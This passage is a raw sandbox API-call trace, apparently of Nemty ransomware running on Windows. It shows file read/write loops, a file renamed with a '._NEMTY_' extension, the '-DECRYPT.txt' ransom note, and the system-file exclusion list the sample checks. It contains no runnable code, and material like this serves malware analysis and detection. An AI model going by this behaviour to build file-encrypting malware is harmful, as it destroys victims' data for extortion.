lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.677] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.784] CloseHandle (hObject=0xffffffff) returned 0 [0081.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0081.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0081.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0081.784] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0081.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0081.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.785] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png._nemty_kgobjgd_")) returned 0 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0081.785] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37ea870, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe37ea870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe37ea870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0081.785] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0081.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0081.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0081.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0081.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0081.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0081.786] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37ea870, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe37ea870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe37ea870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0081.787] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0081.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0081.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0081.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0081.787] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="..") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="...") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="windows") returned -1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="rsa") returned -1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="ntldr") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="programdata") returned 1 [0081.787] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="appdata") returned 1 [0081.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0081.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_babypink_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 32 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0081.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0081.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_babypink_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 32 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0081.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: 